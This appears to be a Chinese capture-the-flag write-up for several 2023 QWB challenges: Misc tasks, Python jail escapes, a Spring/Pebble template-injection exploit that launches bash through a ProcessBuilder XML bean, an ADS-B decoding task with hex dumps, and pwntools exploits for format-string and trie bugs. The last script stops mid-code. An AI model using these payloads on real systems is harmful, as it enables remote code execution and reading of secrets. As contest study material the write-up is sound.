Misc

easyfuzz

输入000000000发现有1的转变,猜测存在qwb的字样输入00qwbqwbq发现存在1的回显猜测输入对的字母就返回1接着一个一个fuzz即可得到密码为 00qwbGood输入就能得到flag

Pyjail ! It’s myFILTER !!!

环境变量有flag

构造:{print(open(“/proc/self/environ”).read())} 即可

Hello Spring

原题魔改了一下,不出网打LFI,org.springframework.context.support.ClassPathXmlApplicationContext有过滤,拆开绕过。

exp:

import requests
import base64
import time

xmlfile1 = '''<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>echo '''

xmlfile2 = '''|base64 -d|bash -i</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>'''

lauchpoc1 = '''{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context."+"support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("file:'''

lauchpoc2 = '''") }}
{{ yyy.refresh() }}'''


def uploadfile(upload_url, content):
    postdata = {
        "content" : content
    }
    r = requests.post(url=upload_url, data=postdata)
    date = str(r.headers['Date']).split("2023 ")[1].replace(" GMT","").replace(":","")
    #date = str(int(date) + 80000)
    print(date)
    if r.status_code == 200:
        print("uploadfile success")
        return date
    else:
        print("upload error!")
        exit(0)


def getfile(get_url, filename):
    r = requests.get(url+"?x="+filename)
    return r.text


if __name__ == '__main__':
    url = "http://eci-2zeikj4b21q3rf2lk284.cloudeci1.ichunqiu.com:8088/"
    #url = "http://localhost:8088/"
    upload_url = url + "uploadFile"
    cmdstr = base64.b64encode("cat /flag > /tmp/flag2.pebble".encode()).decode()
    xml_content = xmlfile1 + cmdstr + xmlfile2
    datefile = uploadfile(upload_url, xml_content)
    datefile = "file_20231217_" + datefile
    print("[*]", datefile)
    time.sleep(3)
    poc_content = lauchpoc1 + "/tmp/" + datefile + ".pebble" + lauchpoc2
    datefile2 = uploadfile(upload_url, poc_content)
    datefile2 = "file_20231217_" + datefile2
    print("[+] pocadd:", getfile(url, datefile2))
    print("[+] flag: ", getfile(url, "flag2"))

Happy Chess

通过测试可以发现,输入

1 1
2 2
3 3
4 4
5 5
6 6
7 7
8 8
9 9
exit

然后就会出现 success

image-20231217183801379

所以只需要利用下面的脚本循环十次即可

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = remote('47.104.199.71', 10075)
#p = process('./warmup')
#elf = ELF('./warmup')
#libc = ELF('./libc.so.6')

token = 'icq198852c06a6cdb130112db4ba02b3'

sla(b'> ', token)
for j in range(10):
    for i in range(9):
        sla(b'> ', str(i + 1) + ' ' + str(i + 1))
    sla(b'> ', b'exit')
inter()

问卷调查

做完问卷就给 flag,就不写了。

Pyjail ! It’s MyRevenge !!!

可以通过locals更改上下文中过滤函数和len函数,

然后再次通过while,通过input获得输入。

第一步先修改过滤函数,将过滤函数重置,因为第二步我们需要使用过滤中的input函数

''{locals().update({"my_filter":len})}{{{"inp"+"ut()"}}}''

第二步修改len函数,使得返回永远为0

''{locals().update({"len":lambda x:0})}{{{"inp"+"ut()"}}}''

最后通过os.execv执行任意函数

{print(__builtins__.__import__("os").execv("/bin/bash",["bash","-c","cat flag_D3C7274C3C03197DFAA463FAF7F41AACDA6B1102F4CA194D4BF09E20888C55F8"]))}

image-20231217003527816

谍影重重

经过对比发现使用的是mode-s模式的ads-b协议。

存在两种流量包,一种是1a32开头的mode-s短包,一种是1a33开头的mode-s长包。

image-20231217211429546

image-20231217211453246

将数据提取出来,短包:

1827f99d3000001a32ffffffffffff215d7809999e868c
1827f930bf00001a32ffffffffffff3f280003ba4c2c08
1827f98e8600001a32ffffffffffff2f5d7809999e868c
1827f97e7c00001a32ffffffffffff3f5d7809999e8686
1827f9938200001a32ffffffffffff4c02a183999e3b23
1827f9681100001a32ffffffffffff555d7809999e868c
1827f962d900001a32ffffffffffff5a5d7809999e8686
1827f978a000001a32ffffffffffff3402a183979e6f62
1827f9539000001a32ffffffffffff5902a183979e6f62
1827f9905e00001a32ffffffffffff2c5d7809999e868c
1827f9555900001a32ffffffffffff5702a183979e6f62
1827f9712700001a32ffffffffffff4b5d7809999e868c
1827f9950000001a32ffffffffffff275d7809999e868c
1827f98fd900001a32ffffffffffff2c5d7809999e868c
1827f98a5c00001a32ffffffffffff315d7809999e8686
1827f99a1800001a32ffffffffffff215d7809999e868c
1827f98f0800001a32ffffffffffff2c5d7809999e868c
1827f9c80600001a32ffffffffffff3c0281831823b5c3
1827f9a9ce00001a32ffffffffffff212800019851efa6
1827f9236500001a32ffffffffffff2c02a604136b49f2
1827f9f86d00001a32ffffffffffff3102a18413b37411
1827f97c9700001a32ffffffffffff505d780c9c577139
1827f9777600001a32ffffffffffff555d780c9c577133
1827f92e0d00001a32ffffffffffff4102a183b19f8ffa
1827f981fa00001a32ffffffffffff4a5d780c9c577133
1827f983bd00001a32ffffffffffff462800019851efa6
1827f988a600001a32ffffffffffff435d780c9c577139
1827f9868500001a32ffffffffffff455d780c9c577133
1827f9c31d00001a32ffffffffffff2102a6039f4627e8
1827f99a0900001a32ffffffffffff2f2800019851efa6
1827f9d21900001a32ffffffffffff5102a1839e61ee02
1827f9875f00001a32ffffffffffff412800019851efa6
1827f9b20f00001a32ffffffffffff3f02a1839b9e223d
1827f98f6c00001a32ffffffffffff3b5d780c9c577133
1827f98b4500001a32ffffffffffff3f5d780c9c577133
1827f9872f00001a32ffffffffffff435d780c9c577139
1827f99bcf00001a32ffffffffffff3b02a183999e3e26
1827f902dc00001a32ffffffffffff4902a1839861ca2f
1827f974e800001a32ffffffffffff555d780c9c577139
1827f9559900001a32ffffffffffff745d780c9c577133
1827f906fa00001a32ffffffffffff7202a18396619e6e
1827f905ea00001a32ffffffffffff7302a18396619e6e
1827f9670d00001a32ffffffffffff625d780c9c577133
1827f959b900001a32ffffffffffff6d2800019851efa6
1827f9656300001a32ffffffffffff635d780c9c577133
1827f9785300001a32ffffffffffff505d780c9c577133
1827f948c400001a32ffffffffffff4d02a18394618275
1827f96dd700001a32ffffffffffff5a5d780c9c577133
1827f94b0100001a32ffffffffffff7b02a183939e5251
1827f9927b00001a32ffffffffffff355d780c9c577113
1827f9404400001a32ffffffffffff875d780c9c57713a
1827f9373400001a32ffffffffffff905d780c9c57713a
1827f9392400001a32ffffffffffff8e5d780c9c57713a
1827f92f1400001a32ffffffffffff985d780c9c57713a
1827f944f400001a32ffffffffffff825d780c9c577133
1827f95e4400001a32ffffffffffff662800019851efa6
1827f9583300001a32ffffffffffff6e5d780c9c577133
1827f96a0500001a32ffffffffffff5c5d780c9c57713a
1827f967f500001a32ffffffffffff5e5d780c9c57713a
1827f960e500001a32ffffffffffff655d780c9c57713a
1827f95cd500001a32ffffffffffff695d780c9c57713a
1827f9aadc00001a32ffffffffffff1b5d780c9c577123
1827f95b7700001a32ffffffffffff6a5d780c9c577133
1827f9534a00001a32ffffffffffff725d780c9c577139
1827f9513900001a32ffffffffffff745d780c9c57713a
1827f9492900001a32ffffffffffff7c5d780c9c57713a
1827f94e1900001a32ffffffffffff775d780c9c57713a
1827f990e200001a32ffffffffffff345d780c9c577133
1827f9166000001a32ffffffffffffac2800019851efa6
1827f9185000001a32ffffffffffffaa2800019851efa6
1827f92b6700001a32ffffffffffff995d780c9c577139
1827f999f200001a32ffffffffffffa702a1833e672972
1827f91c9500001a32ffffffffffff8d02a1833d98c160
1827f9190800001a32ffffffffffffab5d780c9c57713a
1827f916f800001a32ffffffffffffad5d780c9c57713a
1827f929e800001a32ffffffffffff9a5d780c9c57713a
1827f92cdf00001a32ffffffffffff975d780c9c577133
1827f90b2e00001a32ffffffffffff9e02a1833d98c160
1827f9286300001a32ffffffffffff9b5d780c9c577133
1827f917cb00001a32ffffffffffff4602a6033cbf088a
1827f94ca300001a32ffffffffffff742800019851efa6
1827f9c05e00001a32ffffffffffff7502a1833c673569
1827f941aa00001a32ffffffffffff815d780c9c577139
1827f98fa000001a32ffffffffffff335d780c9c577133
1827f9447200001a32ffffffffffff7e5d780c9c57713a
1827f9496200001a32ffffffffffff795d780c9c57713a
1827f9565200001a32ffffffffffff6c5d780c9c57713a
1827f937bf00001a32ffffffffffff8a5d780c9c577133
1827f9898e00001a32ffffffffffff950281833a226d6d
1827f945e700001a32ffffffffffff792800019851efa6
1827f934fe00001a32ffffffffffff8c5d780c9c577139
1827f93ddd00001a32ffffffffffff835d780c9c577133
1827f990b100001a32ffffffffffff7502818339dd857f
1827f9a34e00001a32ffffffffffff7802818338227176
1827f94df600001a32ffffffffffff702800019851efa6
1827f94e0d00001a32ffffffffffff725d780c9c577139
1827f963fc00001a32ffffffffffff5c5d780c9c57713a
1827f952ec00001a32ffffffffffff6d5d780c9c57713a
1827f94edc00001a32ffffffffffff715d780c9c57713a
1827f94cd300001a32ffffffffffff735d780c9c577133
1827f9891600001a32ffffffffffff3202818337ddd13e
1827f94a0600001a32ffffffffffff7102818337ddd13e
1827f9f87300001a32ffffffffffff7002818336222537
1827f972ae00001a32ffffffffffff4a2800019851efa6
1827f97bd500001a32ffffffffffff435d780c9c577129
1827f96b2700001a32ffffffffffff5502818335ddcd25
1827f96b8d00001a32ffffffffffff535d780c9c57713a
1827f9728400001a32ffffffffffff4c5d780c9c577133
1827f9698000001a32ffffffffffff2f0286033505f0c6
1827f9ec3f00001a32ffffffffffff690281833422392c
1827f9630f00001a32ffffffffffff5b5d780c9c577133
1827f9980000001a32ffffffffffff265d780c9c57711b
1827f966c100001a32ffffffffffff575d780c9c577133
1827f9695600001a32ffffffffffff522800019851efa6
1827f958e500001a32ffffffffffff4c02818333dde908
1827f9560700001a32ffffffffffff675d780c9c577133
1827f985d900001a32ffffffffffff375d780c9c57713a
1827f98bc900001a32ffffffffffff370286033105c8f0
27f94cf200001a32ffffffffffff290281833022011a1a
1827f976b400001a32ffffffffffff2202818317dc108e
1827f916d700001a32ffffffffffff205d79a05ed132ee
1827f918d100001a32ffffffffffff1e5d79a05ed132e4
1827f9100100001a32ffffffffffff275d79a05ed132a4
1827f9fdec00001a32ffffffffffff1b02e1949ddfaa00
1827f91da100001a32ffffffffffff195d79a05ed132e4
1827f9fcb500001a32ffffffffffff1c02e1949ddfaa00
1827f9206000001a32ffffffffffff165d79a05ed132ee
1827f9fa9500001a32ffffffffffff1e02e1949ddfaa00
1827f9134000001a32ffffffffffff235d79a05ed132ee
1827f91d2f00001a32ffffffffffff195d79a05ed132ef

长包:

1a33ffffffffffff358d78099999083513982009da3552
1a33ffffffffffff338d780999ea07b93c5d3c08e452ff
1a33ffffffffffff3f80a1839a581da4b22144bda8f825
1a33ffffffffffff328d780999581da12eadf7251b0013
1a33ffffffffffff39a000039a8ba94f117f9ff2de6818
1a33ffffffffffff328d780999230d33b6df4c608499a4
1a33ffffffffffff39a80003baffd0d5147fdc58ba48cf
1a33ffffffffffff388d780999ea07b93c5d3c08e452ff
1a33ffffffffffff3c8d780999581d812f63f74371650c
1a33ffffffffffff4a8d780999581d812f83f748ab7da4
1a33ffffffffffff5b8d780999ea07b93c5d3c08e452ff
1a33ffffffffffff44a00003988b994d113fc7f04aa62a
1a33ffffffffffff42a80003bac90dfc67058257ae3820
1a33ffffffffffff428d780999581d74b34744ee98fa61
1a33ffffffffffff628d780999990833133820097f7372
1a33ffffffffffff4b8d780999581d613023f763ef00a4
1a33ffffffffffff3e8d780999990833131820093a0f5b
1a33ffffffffffff308d78099999083012d82c0ac3a3b7
1a33ffffffffffff2b8d78099999082f12f8280a9f2764
1a33ffffffffffff228d780999581d14b5214539d5daea
1a33ffffffffffff218d780999581d1131bff7a4c25d62
1a33ffffffffffff3d8d780999581b913451f80c392ec7
1a33ffffffffffff298d7809999908341278100af63602
1a33ffffffffffff398d7809999908341278100af63602
1a33ffffffffffff308d78099999083112181c0b813d86
1a33ffffffffffff388d780999ea07b93c5d3c08e452ff
1a33ffffffffffff2e8d7809999908311218200ce82bab
1a33ffffffffffff268d780999ea07b93c5d3c08e452ff
1a33ffffffffffff2b8d7809995819513c6df96506a8f2
1a33ffffffffffff228d780c9c99887a0d783408434ae4
1a33ffffffffffff238d780c9c9988790d7834084655b6
1a33ffffffffffff2d8d780c9c582114b0573d420aa5f6
1a33ffffffffffff568d780c9c9908760cb838093a5f76
1a33ffffffffffff4b8d780c9cea07b938013c087bc321
1a33ffffffffffff3da00003b187a000325c0000846421
1a33ffffffffffff3e8d780c9c581f14b2d13eab12ebfc
1a33ffffffffffff438d780c9c230c3078cb8d608da731
1a33ffffffffffff538d780c9cf82300030049b8c78793
1a33ffffffffffff488d780c9cea07b938013c087bc321
1a33ffffffffffff3e8d780c9c581df4b2fb3ec3ec6e87
1a33ffffffffffff34a000039e95e93f10bf3fe8609536
1a33ffffffffffff428d780c9ce10198000000005b031c
1a33ffffffffffff468d780c9c581dd4b3493eefced7e8
1a33ffffffffffff3d8d780c9cf82300030049b8c78793
1a33ffffffffffff5c8d780c9cea07b938013c087bc321
1a33ffffffffffff598d780c9c581dd12fe9f13f0498c5
1a33ffffffffffff46a000039c96194110bf5fe9152571
1a33ffffffffffff418d780c9c581da1304ff17a24353b
1a33ffffffffffff358d780c9c581d913077f191798644
1a33ffffffffffff5e8d780c9c581d84b42d3f70e1a49e
1a33ffffffffffff768d780c9c9908740cb8340a8bf8f8
1a33ffffffffffff748d780c9c581d74b4433f7d7a1291
1a33ffffffffffff768d780c9cea07b938013c087bc321
1a33ffffffffffff748d780c9c9908740cb8340a8bf8f8
1a33ffffffffffff708d780c9c581d64b46b3f949ba025
1a33ffffffffffff6d8d780c9c230c3078cb8d608da731
1a33ffffffffffff60a000039687a000325c00002772ce
1a33ffffffffffff5d8d780c9cf82300030049b8c78793
1a33ffffffffffff698d780c9c581d54b47f3f9e202c66
1a33ffffffffffff5c8d780c9cea07b938013c087bc321
1a33ffffffffffff658d780c9c581d51311df1ef522326
1a33ffffffffffff558d780c9c9908740cb8340a8bf8f8
1a33ffffffffffff308d780c9cf82300030049b8c78793
1a33ffffffffffff4b8d780c9c9908730cb8340a82cc92
1a33ffffffffffff5ba000039487a000325c0000dac68a
1a33ffffffffffff59a000039495a94310bf37e92ba22a
1a33ffffffffffff628d780c9ce10198000000005b031c
1a33ffffffffffff788d780c9c9908730cb8340a82cc92
1a33ffffffffffff738d780c9c581d413159f21237288b
1a33ffffffffffff8a8d780c9cf82300030049b8c78793
1a33ffffffffffff988d780c9cea07b938013c087bc321
1a33ffffffffffff7e8d780c9c581d213185f22a71d82c
1a33ffffffffffff3b8d780c9c9908730cb8340a82cc92
1a33ffffffffffff69a000039287a000325c000023ee4f
1a33ffffffffffff66a8000198ffb22b13201453118653
1a33ffffffffffff70a000039295994310bf57e866054c
1a33ffffffffffff6a8d780c9c9908730cb8340a82cc92
1a33ffffffffffff6f8d780c9c581d14b51d3ff7e088f9
1a33ffffffffffff5b8d780c9c9908720cb8340a81c65c
1a33ffffffffffff538d780c9c230c3078cb8d608da731
1a33ffffffffffff4e8d780c9c9908720cb8340b7e3255
1a33ffffffffffff5f8d780c9c9908720cb8340b7e3255
1a33ffffffffffff708d780c9c581bf131fff26f5c198c
1a33ffffffffffff758d780c9c9908720cb8340b7e3255
1a33ffffffffffff8980a1833f581bf13213f27adcd83f
1a33ffffffffffff3080a1833e581be4b5b3404cda1239
1a33ffffffffffffa9a8000198fff22b12e00454f29660
1a33ffffffffffffaba000033e95594510bf47e810ec87
1a33ffffffffffffa48d780c9c9908720c98340ac4ba75
1a33ffffffffffff9d8d780c9c581bd4b5bf4052d3e3d5
1a33ffffffffffffa28d780c9c9908710c98340b3e512e
1a33ffffffffffff898d780c9c581bd4b5d7405f8d79f5
1a33ffffffffffff7b8d780c9cea07b938013c087bc321
1a33ffffffffffff8d8d780c9c9908710c98340b3e512e
1a33ffffffffffff488d780c9c9908710c98340b3e512e
1a33ffffffffffff958d780c9c581bc1327df2b67ba66b
1a33ffffffffffff878d780c9c9908710c98340b3e512e
1a33ffffffffffff72a800019880322b12a00453ff9270
1a33ffffffffffff7ca000033c95794310bf37e71ea4ed
1a33ffffffffffff808d780c9c9908700c78340b18db36
1a33ffffffffffff788d780c9cea07b938013c087bc321
1a33ffffffffffff808d780c9c581bb132a1f2ca0e417a
1a33ffffffffffff388d780c9c581bb4b617408336459d
1a33ffffffffffff848d780c9c9908700c78340b18db36
1a33ffffffffffff778d780c9c581bb132b7f2d6ff546e
1a33ffffffffffff7e8d780c9c9908700c78340b18db36
1a33ffffffffffff908d780c9c9908700c78340b18db36
1a33ffffffffffff8f8081833a581ba132dff2ed9eb61c
1a33ffffffffffff418d780c9c9908700c78340b18db36
1a33ffffffffffff91a000033987a000325c00001ecd03
1a33ffffffffffff7da800019880322b12a00453ff9270
1a33ffffffffffff808d780c9c9908700c58340b5da71f
1a33ffffffffffff858d780c9cf82300030049b8c78793
1a33ffffffffffff378d780c9c581b94b66740b0bb154c
1a33ffffffffffff708d780c9c581b813317f30ddfd41f
1a33ffffffffffff70a000033787a000325c0000eedcc4
1a33ffffffffffff6da8000198fff22b127ff4532e8d09
1a33ffffffffffff69a000033795a94510bf4fe8380ad2
1a33ffffffffffff2d8d780c9cea07b938013c087bc321
1a33ffffffffffff6b8d780c9c99086e0c38340bb0e750
1a33ffffffffffff7a8d780c9cf82300030049b8c78793
1a33ffffffffffff658d780c9cea07b938013c087bc321
1a33ffffffffffff688d780c9c99086e0c38340bb0e750
1a33ffffffffffff628d780c9c581b613367f339157463
1a33ffffffffffff248d780c9c581b613371f34019ef98
1a33ffffffffffff538d780c9c99086e0c18340bf59b79
1a33ffffffffffff4d8d780c9c581b54b6e340f5222f33
1a33ffffffffffff588d780c9c99086d0c18340bf0842b
1a33ffffffffffff6b80818335581b51339ff35950bf4f
1a33ffffffffffff618d780c9c99086d0c18340bf0842b
1a33ffffffffffff618d780c9ce10198000000005b031c
1a33ffffffffffff5a8d780c9c581b44b7194114400d55
1a33ffffffffffff52a000033387a000325c0000ea4045
1a33ffffffffffff57a800019880d22f12201c52f455f1
1a33ffffffffffff5b8d780c9c581b34b729411e4b1fbb
1a33ffffffffffff548d780c9c581b34b73d4128a00fea
1a33ffffffffffff648d780c9c99086d0bd8340b438a6d
1a33ffffffffffff658d780c9c581b24b74d41317d07dc
1a33ffffffffffff478d780c9c581b2133f7f38de698c0
1a33ffffffffffff248d79a05e990ccda6f80886dd9544

找一个在线解码的网站http://jasonplayne.com:8080/

把提取出的数据批量解码

5d7809999e868c
280003ba4c2c08
5d7809999e868c
5d7809999e8686
02a183999e3b23
5d7809999e868c
5d7809999e8686
02a183979e6f62
02a183979e6f62
5d7809999e868c
02a183979e6f62
5d7809999e868c
5d7809999e868c
5d7809999e868c
5d7809999e8686
5d7809999e868c
5d7809999e868c
0281831823b5c3
2800019851efa6
02a604136b49f2
02a18413b37411
5d780c9c577139
5d780c9c577133
02a183b19f8ffa
5d780c9c577133
2800019851efa6
5d780c9c577139
5d780c9c577133
02a6039f4627e8
2800019851efa6
02a1839e61ee02
2800019851efa6
02a1839b9e223d
5d780c9c577133
5d780c9c577133
5d780c9c577139
02a183999e3e26
02a1839861ca2f
5d780c9c577139
5d780c9c577133
02a18396619e6e
02a18396619e6e
5d780c9c577133
2800019851efa6
5d780c9c577133
5d780c9c577133
02a18394618275
5d780c9c577133
02a183939e5251
5d780c9c577113
5d780c9c57713a
5d780c9c57713a
5d780c9c57713a
5d780c9c57713a
5d780c9c577133
2800019851efa6
5d780c9c577133
5d780c9c57713a
5d780c9c57713a
5d780c9c57713a
5d780c9c57713a
5d780c9c577123
5d780c9c577133
5d780c9c577139
5d780c9c57713a
5d780c9c57713a
5d780c9c57713a
5d780c9c577133
2800019851efa6
2800019851efa6
5d780c9c577139
02a1833e672972
02a1833d98c160
5d780c9c57713a
5d780c9c57713a
5d780c9c57713a
5d780c9c577133
02a1833d98c160
5d780c9c577133
02a6033cbf088a
2800019851efa6
02a1833c673569
5d780c9c577139
5d780c9c577133
5d780c9c57713a
5d780c9c57713a
5d780c9c57713a
5d780c9c577133
0281833a226d6d
2800019851efa6
5d780c9c577139
5d780c9c577133
02818339dd857f
02818338227176
2800019851efa6
5d780c9c577139
5d780c9c57713a
5d780c9c57713a
5d780c9c57713a
5d780c9c577133
02818337ddd13e
02818337ddd13e
02818336222537
2800019851efa6
5d780c9c577129
02818335ddcd25
5d780c9c57713a
5d780c9c577133
0286033505f0c6
0281833422392c
5d780c9c577133
5d780c9c57711b
5d780c9c577133
2800019851efa6
02818333dde908
5d780c9c577133
5d780c9c57713a
0286033105c8f0
81833022011a1a
02818317dc108e
5d79a05ed132ee
5d79a05ed132e4
5d79a05ed132a4
02e1949ddfaa00
5d79a05ed132e4
02e1949ddfaa00
5d79a05ed132ee
02e1949ddfaa00
5d79a05ed132ee
5d79a05ed132ef
8d78099999083513982009da3552
8d780999ea07b93c5d3c08e452ff
80a1839a581da4b22144bda8f825
8d780999581da12eadf7251b0013
a000039a8ba94f117f9ff2de6818
8d780999230d33b6df4c608499a4
a80003baffd0d5147fdc58ba48cf
8d780999ea07b93c5d3c08e452ff
8d780999581d812f63f74371650c
8d780999581d812f83f748ab7da4
8d780999ea07b93c5d3c08e452ff
a00003988b994d113fc7f04aa62a
a80003bac90dfc67058257ae3820
8d780999581d74b34744ee98fa61
8d780999990833133820097f7372
8d780999581d613023f763ef00a4
8d780999990833131820093a0f5b
8d78099999083012d82c0ac3a3b7
8d78099999082f12f8280a9f2764
8d780999581d14b5214539d5daea
8d780999581d1131bff7a4c25d62
8d780999581b913451f80c392ec7
8d7809999908341278100af63602
8d7809999908341278100af63602
8d78099999083112181c0b813d86
8d780999ea07b93c5d3c08e452ff
8d7809999908311218200ce82bab
8d780999ea07b93c5d3c08e452ff
8d7809995819513c6df96506a8f2
8d780c9c99887a0d783408434ae4
8d780c9c9988790d7834084655b6
8d780c9c582114b0573d420aa5f6
8d780c9c9908760cb838093a5f76
8d780c9cea07b938013c087bc321
a00003b187a000325c0000846421
8d780c9c581f14b2d13eab12ebfc
8d780c9c230c3078cb8d608da731
8d780c9cf82300030049b8c78793
8d780c9cea07b938013c087bc321
8d780c9c581df4b2fb3ec3ec6e87
a000039e95e93f10bf3fe8609536
8d780c9ce10198000000005b031c
8d780c9c581dd4b3493eefced7e8
8d780c9cf82300030049b8c78793
8d780c9cea07b938013c087bc321
8d780c9c581dd12fe9f13f0498c5
a000039c96194110bf5fe9152571
8d780c9c581da1304ff17a24353b
8d780c9c581d913077f191798644
8d780c9c581d84b42d3f70e1a49e
8d780c9c9908740cb8340a8bf8f8
8d780c9c581d74b4433f7d7a1291
8d780c9cea07b938013c087bc321
8d780c9c9908740cb8340a8bf8f8
8d780c9c581d64b46b3f949ba025
8d780c9c230c3078cb8d608da731
a000039687a000325c00002772ce
8d780c9cf82300030049b8c78793
8d780c9c581d54b47f3f9e202c66
8d780c9cea07b938013c087bc321
8d780c9c581d51311df1ef522326
8d780c9c9908740cb8340a8bf8f8
8d780c9cf82300030049b8c78793
8d780c9c9908730cb8340a82cc92
a000039487a000325c0000dac68a
a000039495a94310bf37e92ba22a
8d780c9ce10198000000005b031c
8d780c9c9908730cb8340a82cc92
8d780c9c581d413159f21237288b
8d780c9cf82300030049b8c78793
8d780c9cea07b938013c087bc321
8d780c9c581d213185f22a71d82c
8d780c9c9908730cb8340a82cc92
a000039287a000325c000023ee4f
a8000198ffb22b13201453118653
a000039295994310bf57e866054c
8d780c9c9908730cb8340a82cc92
8d780c9c581d14b51d3ff7e088f9
8d780c9c9908720cb8340a81c65c
8d780c9c230c3078cb8d608da731
8d780c9c9908720cb8340b7e3255
8d780c9c9908720cb8340b7e3255
8d780c9c581bf131fff26f5c198c
8d780c9c9908720cb8340b7e3255
80a1833f581bf13213f27adcd83f
80a1833e581be4b5b3404cda1239
a8000198fff22b12e00454f29660
a000033e95594510bf47e810ec87
8d780c9c9908720c98340ac4ba75
8d780c9c581bd4b5bf4052d3e3d5
8d780c9c9908710c98340b3e512e
8d780c9c581bd4b5d7405f8d79f5
8d780c9cea07b938013c087bc321
8d780c9c9908710c98340b3e512e
8d780c9c9908710c98340b3e512e
8d780c9c581bc1327df2b67ba66b
8d780c9c9908710c98340b3e512e
a800019880322b12a00453ff9270
a000033c95794310bf37e71ea4ed
8d780c9c9908700c78340b18db36
8d780c9cea07b938013c087bc321
8d780c9c581bb132a1f2ca0e417a
8d780c9c581bb4b617408336459d
8d780c9c9908700c78340b18db36
8d780c9c581bb132b7f2d6ff546e
8d780c9c9908700c78340b18db36
8d780c9c9908700c78340b18db36
8081833a581ba132dff2ed9eb61c
8d780c9c9908700c78340b18db36
a000033987a000325c00001ecd03
a800019880322b12a00453ff9270
8d780c9c9908700c58340b5da71f
8d780c9cf82300030049b8c78793
8d780c9c581b94b66740b0bb154c
8d780c9c581b813317f30ddfd41f
a000033787a000325c0000eedcc4
a8000198fff22b127ff4532e8d09
a000033795a94510bf4fe8380ad2
8d780c9cea07b938013c087bc321
8d780c9c99086e0c38340bb0e750
8d780c9cf82300030049b8c78793
8d780c9cea07b938013c087bc321
8d780c9c99086e0c38340bb0e750
8d780c9c581b613367f339157463
8d780c9c581b613371f34019ef98
8d780c9c99086e0c18340bf59b79
8d780c9c581b54b6e340f5222f33
8d780c9c99086d0c18340bf0842b
80818335581b51339ff35950bf4f
8d780c9c99086d0c18340bf0842b
8d780c9ce10198000000005b031c
8d780c9c581b44b7194114400d55
a000033387a000325c0000ea4045
a800019880d22f12201c52f455f1
8d780c9c581b34b729411e4b1fbb
8d780c9c581b34b73d4128a00fea
8d780c9c99086d0bd8340b438a6d
8d780c9c581b24b74d41317d07dc
8d780c9c581b2133f7f38de698c0
8d79a05e990ccda6f80886dd9544

Snipaste_2023-12-16_21-11-00

按长度排序,尝试到第三个ICAO值的时候,提示flag正确。

79A05E为正确答案

image-20231217210655386

flag{4cf6729b9bc05686a79c1620b0b1967b}

签到

签到题

强网先锋

ez_fmt

简单的格式化字符串,直接打one_gadget。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('47.104.24.40', 1337)
sh.recvuntil(b'There is a gift for you ')
gift = int(sh.recvline(), 16)
success('gift: ' + hex(gift))
sh.send(b'%4507c%10$hn#%19$p\n'.ljust(0x20, b'\0') + p64(gift - 8))
sh.recvuntil(b'#')
libc_addr = int(sh.recvline(), 16) - 0x24083
success('libc_addr: ' + hex(libc_addr))
sh.recvuntil(b'There i a gift for you ')
sh.send(f'%4814c%10$hn'.encode().ljust(0x18, b'\0') + p64(libc_addr + 0xe3b01) + p64(gift - 0x68))

sh.interactive()

石头剪刀布

发现前6位随机,但后续会存在模型缺陷,只要从第七位开始算起出的手势(如果是石头),那么第七位就出布就可以绕过,他是固定的,所以存在在每一次赢下的下一位来记录手势即可成功赢下,最终输入以下内容即可获得flag
000000112201211222020210001200101112201212022100012011212202000112011212200120120102102102201201010

img

tire

trie为二叉树,可控ip地址的二进制值来找对应的位置。

地址的最右边,最低位为根节点,最左边为叶子节点,节点内存有节点的index值。所以只需要将最后的叶子节点的值存为0x40-0x40以上值时,view方法就能读到flag写入的地址。

可先构造0.0.0.0和255.255.255.255,这里就能将最后一个节点的index值为0x40,此时读255.255.255.255就能放回flag前4位。

此时再添加128.0.0.0,相当于只增加一个叶子节点,这个节点位0x41,读128.0.0.0即可读flag5-8位。以此类推全部读出整个flag。

#coding:utf8
import subprocess
import threading
import select,os,time
from pwn import *


context.update(arch='amd64',os='linux')
context.log_level = "INFO"


def attack1(cycle_addr):
    p.recvuntil(b'Quit.')
    p.sendline(b'1')
    p.recvuntil(b'Input destination IP:')
    p.sendline(cycle_addr)
    p.recvuntil(b'Input the next hop:')
    p.sendline(cycle_addr)	

def attack2(mask, cycle_addr):
    p.recvuntil(b'Quit.')
    p.sendline(b'1')
    p.recvuntil(b'Input destination IP:')
    p.sendline(mask)
    p.recvuntil(b'Input the next hop:')
    p.sendline(cycle_addr)	

def attack3(leak_addr, cycle_addr):
    p.recvuntil(b'Quit.')
    p.sendline(b'1')
    p.recvuntil(b'Input destination IP:')
    p.sendline(leak_addr)
    p.recvuntil(b'Input the next hop:')
    p.sendline(cycle_addr)	


